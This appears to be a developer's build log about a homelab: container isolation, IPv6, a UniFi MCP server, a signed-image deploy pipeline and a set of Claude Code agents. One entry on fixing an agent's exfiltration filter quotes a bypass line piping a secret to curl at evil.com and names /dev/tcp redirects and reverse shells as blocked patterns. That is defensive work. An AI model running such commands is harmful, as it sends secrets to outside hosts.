Build Log

What I'm shipping, learning, and figuring out. Published from the terminal.

Set a friend up with his own server on my homelab tonight. Full root, do whatever he wants, zero risk to anything of mine.

Went with an Incus system container instead of Docker or a full VM. It behaves like a real machine (its own systemd, sudo, persistent disk) but rides the host kernel, so the overhead is basically nothing. Capped it at 6GB RAM, 3 cores, 40GB disk on a size-limited btrfs pool so it can never starve or fill the box that runs my other 43 containers.

Inside: a full LAMP stack, SSH, and Claude Code. He brings his own model keys, so none of my gateways are in the blast radius. Remote access is Tailscale SSH, identity-based, no keys to mail around.

The real work was the isolation. He is root in his box, but the box is walled off two ways. A host firewall that drops everything from his bridge toward my LAN, my host, every other container, and the gateway, while still allowing the open internet. And a tailnet ACL so even over Tailscale he can reach his own node and nothing else of mine. Tested every direction, in and out. The firewall missed one path on the first pass: traffic to the host's own IP rides the INPUT chain, not FORWARD. Caught it, closed it, re-verified.

Then I made it boring. Automatic security updates inside the box, a five-minute timer that re-applies the firewall in case Docker ever rewrites its chains, and a weekly export to the NAS. The whole build is one folder of scripts in the repo, so I can rebuild it in minutes.

Best kind of favor: hand someone real keys to a real machine and still sleep fine.

Turned on IPv6 at home. Empire delegates a /56, which is plenty for a slice per VLAN. Easy change on paper.

In practice it surfaced three separate bugs in my UniFi control tooling, each one where the dry_run preview came back green and the live gateway rejected the actual write. Wrong delegation enum value, then a missing WAN binding, then a fresh network that needed the full prefix scaffold the old one only had by accident. Caught all three without ever leaving the firewall half-applied, fixed them properly, shipped three patches that auto-deployed to nix1.

Held the IoT and guest networks on IPv4 on purpose. Their isolation rules only exist for v4, and a camera with a public address and no v6 firewall turns a segmented VLAN into an open one. Dual-stack where it matters, NAT where it belongs.

The reminder I keep relearning: a preview that doesn't model the server's validation is a preview that lies.

github.com/pete-builds/mcp-unifi ↗

Shipped mcp-unifi v0.13.0 and pointed it straight at a real annoyance: a phone in the bedroom clinging to a far access point instead of roaming to the near one.

Five new tools for tuning access point radios: read the radio table, set transmit power, set minimum RSSI, set channel and width, rename the device. All strict read-modify-write against the live radio table, every response shows before and after, and dry_run previews the change before it commits. I started to build a band-steering tool too, then probed the live gateway and found there's no API surface for it on this firmware. Dropped it rather than ship a tool that silently does nothing.

Then I wired a watcher on nix1 that checks every 20 minutes for a client parked on that access point below -75 dBm and pings me on Discord only when it actually happens. The tuning is alert-driven now instead of me guessing. First fix was easy: renamed the bedroom unit, dropped its 5GHz transmit power from auto to medium, verified live.

657 tests, 90% coverage. The auto-deploy pipeline picked it up and rolled it onto nix1 the next morning while I was asleep. That's the whole point of building the pipeline first.

github.com/pete-builds/mcp-unifi ↗

Six of my self-hosted services now auto-deploy with a tokenless provenance gate standing in front of them.

Watchtower handles same-tag digest updates fine, but it can't bump a pinned semver tag. That's how mcp-unifi quietly drifted two minor versions behind without me noticing. So I built a three-stage pipeline: a GitHub release bumps the public compose example, a gitignored override on the host pins the deployed tag, and a cron job on nix1 pulls, health-checks, and rolls back on failure with a Discord ping.

The part I'm happiest with is the gate. Before any new image deploys, the host runs cosign keyless verification against the SLSA build attestation, checking the certificate identity matches the exact release workflow in the exact repo it claims to come from. No GitHub token sits on the box at all. I proved it fails closed four ways: good digest passes, fake digest fails, an unsigned image fails, and a real attestation signed by the wrong repo fails on the certificate-identity check.

The deployed override files are now symlinks into a private GitOps repo, so every successful bump commits and pushes its own state. The history of what's running writes itself.

Silent on no-op, pings on events. The daily 'everything is fine' runs make zero noise. I only hear from it when something actually deploys or breaks.

Rewrote the exfiltration filter that guards my agent's shell access, and found two ways it had been leaking.

The old design was allow-list first: if a command started with a safe utility like cat or echo, it short-circuited the whole filter. That meant cat secret | curl evil.com and /dev/tcp redirects walked right through behind a friendly-looking prefix. The other bug was the opposite problem: a localhost check was wrong, so it had been blocking legitimate local requests for weeks.

New design flips the order. Hard-block first, allow-list second. Every command hits the block rules before anything else: piped exfil, reverse shells, /dev/tcp redirects, command substitution reaching external hosts. Only what survives that gets checked against the known-good targets. I also opened up read-only diagnostic probes (a HEAD or a status-code check carrying no exfil signals) to any host, which killed most of the day-to-day friction.

Verified both directions: the real workflows it has to permit (nix1, Zion, the NAS, the gateway, deploys, git, npm) all pass, and the attacks it has to stop (piped exfil, /dev/tcp, reverse shells, substitution) all get blocked. 130 lines changed.

The lesson: an allow-list that runs before the block-list isn't a security boundary. It's a suggestion.

The 2 gig symmetric fiber is live. Empire Access into a UniFi Cloud Gateway Fiber, and the speed tests are landing around 2.1 down and 1.95 up with 10 to 15ms latency and 100% WAN uptime over the last day. Wired the whole house onto it.

Then segmented the network properly. Four VLAN tiers: management, trusted, IoT, and guest, with a 9-rule LAN_IN matrix. The IoT junk can talk out but can't touch any homelab admin surface. Guests are walled off from everything. No more flat network.

And mcp-unifi has been driving all of it against real hardware, out of stub mode for good. Went v0.5.1 to v0.10.1 since the last post. New tool surface for network segmentation, threat management, honeypots, and Teleport. Added an 18-tool read-only UniFi Access module for door and reader state. Bearer-token auth is now on by default, and destructive deletes preview the exact change before they run.

Built the controller against a mock for weeks, then watched it run the real gateway the day the fiber landed. That's the payoff.

github.com/pete-builds/mcp-unifi ↗

Three days deep on mcp-unifi. Started Wednesday with the new UCG-Fiber going live and the server flipping out of stub mode against real hardware for the first time. Shipped two release candidates, then v0.5.0, then v0.5.1. Network module split into 10 files, Protect module added (12 tools), audit log plus replay CLI, composite rollback on partial failure, Helm chart, .dxt one-click for Claude Desktop, cosign-signed images with SBOM and build provenance.

Spent today fixing the docs site, which had been silently producing one HTML page instead of nineteen since Astro 5. Missing content collection config, plus a Starlight bug where the draft filter dropped every entry because the schema default wasn't being applied. Found it by writing a debug page and printing what getCollection returned. Guides and reference now live at pete-builds.github.io/mcp-unifi.

Then the honest moment. Compared against the dominant UniFi MCP server out there. 343 stars, 19 contributors, four times the tool count, dedicated domain, plugin marketplace install. Not going to out-feature that in six weeks. So I leaned in on what's actually different: dry-run plus audit log plus composite rollback plus supply-chain hardening plus single-container with Helm plus API-key-only auth. Depth, not breadth.

This was always a portfolio piece more than a product. The point isn't users. It's proving I can architect a safety substrate for LLM-driven infra ops and ship it end-to-end with provenance.

pete-builds.github.io/mcp-unifi/ ↗

Shipped mcp-unifi v0.3.0 today. Forty-one tools for managing self-hosted UniFi gateways from any MCP client. Adds 26 new tools across four tiers: CRUD gaps (firewall update, port profile create/update/delete, port forward CRUD), high-frequency client and port ops (block client, set port state, restart and locate device, static DHCP leases), observability (site health, WAN status, events, alarms, speed tests, top talkers), and four composite tools that collapse multi-step UI workflows into single calls with rollback on partial failure: create_iot_network, create_guest_network, provision_homelab_service, audit_open_ports.

Hardened container: UID 1000, no shell, read-only rootfs, digest-pinned base, hash-pinned wheels. Multi-arch with build provenance and SBOM pushed to GHCR. CI gates on Trivy, ruff, mypy strict, and 224 tests at 90% coverage.

Published to the official MCP Registry as io.github.pete-builds/unifi. Auto-publish workflow wired so future tags self-publish. Also pitched to the new curated GitHub MCP Registry at github.com/mcp via the partnership process. That one reviews manually and runs on a longer cadence.

The other UniFi MCP servers in the wild use older auth flows, no tests, deprecated transport. This is the only one with a hardened container and a registry listing.

Stub mode by default until UCG-Fiber arrives. Same surface, mock data. Build the controller before the hardware shows up.

github.com/pete-builds/mcp-unifi ↗

Had Forge audit itself today. Forge is the agent I use to build MCP servers (part of the larger system). Designs the architecture, writes the code, hardens the container, ships to the registry. It has been running for months.

Asked it to grade its own playbook against best practices. Came back with seven specific gaps. No anti-hallucination rule for external claims. No token budget enforcement. No multi-client smoke test, only Claude Code. No FastMCP version pinning policy. Reflection check was one line. Lessons file path undocumented. No quarterly re-audit cadence on public repos.

Forge proposed a v2 with each gap closed as a discrete edit, marked with explicit ADD or REPLACE blocks so the diffs apply cleanly. I approved. It applied them to its own definition file. Playbook went from 258 to 304 lines.

The interesting part: every gap was something I had been manually fixing in spawn prompts every time I called the agent. The audit just made the patches permanent so I stop typing them.

Agents that audit themselves and apply the fix are the real move. Tools that build tools.

Built 20+ named agents on Claude Code over the past year. Each one has a domain, a risk tier, structured output contracts, and lane discipline. Forge builds MCP servers. Tank runs the homelab. Coach commands editorial for The 53 Report. Keeper handles production servers. Radar audits client sites. Outreach manages prospect email. Etc.

The trick isn't more agents. It's mandatory routing in CLAUDE.md. When a request matches an agent's domain, you route to it. No 'I have context, I'll just handle it myself.' That's the rule that keeps the system from collapsing into one bloated assistant.

Risk tiers separate read-only from production-write. Forge can push container images but won't deploy to a server without my call. Keeper requires double-confirmation for the WordPress sites with revenue on them. PreToolUse hooks block exfiltration patterns at the tool level, before any agent gets a chance to run a bad curl.

Each agent has a skill file with full instructions, a registry entry with metadata (risk tier, MCP tool access, file write scopes, SSH targets), and a coordination map for cross-agent handoff. It reads more like an org chart than a prompt library.

Most people use Claude Code as a coding assistant. This is something different.